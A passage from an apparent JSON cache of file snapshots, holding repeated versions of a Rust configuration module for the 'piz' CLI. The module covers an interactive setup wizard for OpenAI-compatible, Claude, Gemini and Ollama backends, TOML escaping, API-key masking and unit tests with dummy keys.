cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "97dfb1a2cab4fd4f35b55bb319902b8bafddb7a0": {"t": 1785760770.694319, "n": 17239, "h": "40ee8df15cfc4005", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "49e04fb5db945d980a526b2aae95f5c9a4e13946": {"t": 1785760772.113683, "n": 17191, "h": "a8e785cd658f3ee6", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// 